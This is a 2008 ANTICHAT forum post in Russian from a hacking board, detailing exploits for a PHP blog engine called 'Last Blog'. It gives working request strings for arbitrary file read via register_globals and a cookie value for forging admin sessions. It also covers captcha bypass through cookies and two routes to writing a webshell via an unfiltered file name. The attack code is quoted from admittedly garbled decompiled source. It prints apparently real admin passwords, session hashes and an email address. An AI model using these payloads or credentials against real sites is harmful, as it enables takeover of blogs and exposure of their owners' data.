ANTICHAT Forum
HOME FORUMS MEMBERS RECENT POSTS LOG IN  
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Веб-уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #11  
Старый 08.08.2008, 09:05
Elekt
Banned
Регистрация: 05.12.2005
Сообщений: 982
С нами: 10752806

Репутация: 1202


По умолчанию


Вобщем, я подумал еще раз и....
В том коде что ты дал(старые исходники):

==========================

Чтение произвольного файла.

Массив $posts не определен изначально.
При register_globals=ON мы можем внести свои файлы в список отображаемых.

Требование: register_globals=ON

Эксплоит:

/rss.php?posts[]=../session.php
/rss.php?posts[]=../settings.php
/rss.php?posts[]=../blog_settings.ini


/data/session.php
<? $_s["sid"]="74e8cbbe945570109125f10a20bf5df8"; ?>

/data/settings.php
$_s['pass'] = "fsdkj8309u7ghowrj32"; // пароль для входа в админку.

/data/blog_settings.ini

login="admin"; логин для входа в админку.
pass="entero"; пароль для входа в админку.
pepetun="default"; измените на любое английское слово.
email="vadim_lasto@mail.ru";

Вырезка уязвимого кода:

/rss.php
PHP код:
      $d=dir("data/posts");
      while (
false!==($entry=$d->read()))
         if (
strlen($entry)==10 && is_numeric($entry) && $entry <= time()) $posts[]=$entry; 
==========================

Так получаем админские привилегии по хешу из "/data/session.php"

COOKIE: admin_connected=74e8cbbe945570109125f10a20bf5df8;

Вырезка уязвимого кода:

/index.php
PHP код:
  $_s=(isset($_COOKIE) and $_COOKIE==$_s) ? true : false; 
==========================

Зачетный обход капчи в куках:

Вырезка уязвимого кода:

/index.php
PHP код:
      or $_COOKIE['secret_number']!=$_POST['verification']) exit("wrong key control");

/
key.php

   
list ($x,$y,$sc,$tt)=array(
      
120,
      
19,
      array(array(
255,255,255),array(0,0,255)),
      (isset(
$_COOKIE['secret_number']) and is_numeric($_COOKIE["secret_number"])) ? 
         
$_COOKIE["secret_number"]:
         
" ERROR "
   
); 
==========================
==========================
==========================

В свежих исходниках с сайта:

Last Blog version_05.10.07 work

[i] возможная не\работоспособность кода обусловлена кривостью дезендера

==========================

Обход капчи в куках:

/key.php
PHP код:
$n = extract( $_GET, EXTR_OVERWRITE ); 
==========================

Создание шела.

В секции "new","old" имя файла $fn не определено
При register_globals=ON мы можем переопределить путь

/index.php

PHP код:
case "new" :
    
$_s['post_short_info'][$page] = $data;
    
$_s['post_short_info'] = arr2disk( $_s['post_short_info'], $indx );
    
fw( $data['title'].$oslen.$oslen.$text, $fn );
    
fw( "", $cn );
    
build_index( $page );
    
redirect( $turl."/post_$page.html" );
    exit( );
case 
"old" :
    
$data['com'] = isset( $_s['post_short_info'][$cat]['com'] ) ? $_s['post_short_info'][$cat]['com'] : $data['com'];
    if ( 
$cat != $page )
    {
        if ( 
unlink( $fo ) )
        {
            if ( 
rename( $co, $cn ) || isset( $_s['post_short_info'][$cat] ) )
            {
            }
        }
    }
    
$_s['post_short_info'][$page] = $data;
    
$_s['post_short_info'] = arr2disk( $_s['post_short_info'], $indx );
    
fw( $data['title'].$oslen.$oslen.$text, $fn );
    
build_index( $page );
    
redirect( $turl."/comment_$page.html" );
    exit( );
    do
    {
    default :
    } while ( 
in_array( $cat, $posts ) ? "old" : "new" ? TRUE :  );
    exit( ); 
==========================

Создание шела.

$_POST['text'] не фильтруется и подставляется в имя записываемого файла.
Желательно magic_qoutes=OFF

/remoute.html
POST: [some_parameters_here]


Вырезка уязвимого кода:

/data/php_pages/remoute.php

PHP код:
$state = true == $_s['admin'] ? "getform" : "work";

    case 
"work" :
        do
        {
            if ( !isset( 
$_POST['title'] ) && isset( $_POST['publicate'] ) && isset( $_POST['text'] ) && isset( $_POST['category'] ) && isset( $_POST['code'] ) )
                break;
            if ( 
in_array( $_POST['category'], array_keys( $_s['cats'] ) ) )
            {
            }
        } while( 
0 );
        
finita( $_s['lang']['failed'] );
        if ( 
trim( $_POST['title'] ) == "" )
        {
            
finita( $_s['lang']['postcreate_nosubj'] );
        }
        if ( 
trim( $_POST['text'] ) == "" )
        {
            
finita( $_s['lang']['postcreate_empty'] );
        }
        
$a = explode( " ", trim( $_POST['publicate'] ) );
        if ( 
count( $a ) != 2 )
        {
            
finita( $_s['lang']['postcreate_date_wrong'] );
        }
        
$b = explode( ".", $a[0] );
        
$c = explode( ":", $a[1] );
        if ( 
count( $b ) != 3 )
        {
            
finita( $_s['lang']['postcreate_date_error'] );
        }
        if ( 
count( $c ) != 3 )
        {
            
finita( $_s['lang']['postcreate_time_error'] );
        }
        
$page = mktime( $c[0], $c[1], $c[2], $b[1], $b[0], $b[2] );
        
$data = array( "cat"=>trim( $_POST['category'] ), "title"=>trim( $_POST['title'] ), "com"=>0 );
        
$cn = trim( $_POST['text'] );
        
$co = trim( $_POST['text'] );
        
$fn = trim( $_POST['text'] );
        
$fo = trim( $_POST['text'] );
        
$indx = trim( $_POST['text'] );
        
$text = trim( $_POST['text'] );
        array( , 
"./data/posts/index.php", "./data/posts/".$cat, "./data/posts/".$page, "./data/comments/".$cat, "./data/comments/".$page );
        
$sw = in_array( $cat, $posts ) ? "old" : "new";
    case 
"new" :
        
$_s['post_short_info'][$page] = $data;
        
$_s['post_short_info'] = arr2disk( $_s['post_short_info'], $indx );
        
fw( $data['title'].$oslen.$oslen.$text, $fn );
        
fw( "", $cn );
        
build_index( $page );
        exit( );

function 
fw($content, $file)  {
   if (
file_exists($file)) $db=fopen($file,"r+");
   else 
$db=fopen("$file","w");
   if (
$db) {
      
set_file_buffer($db,0);
      
flock($db,LOCK_EX);
      
ftruncate($db,0);
      
fwrite($db, $content);
      
flock($db,LOCK_UN);
      
fclose($db);
   }
} 
==========================

 
Ответить с цитированием
Ответ



Предыдущая тема Следующая тема

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.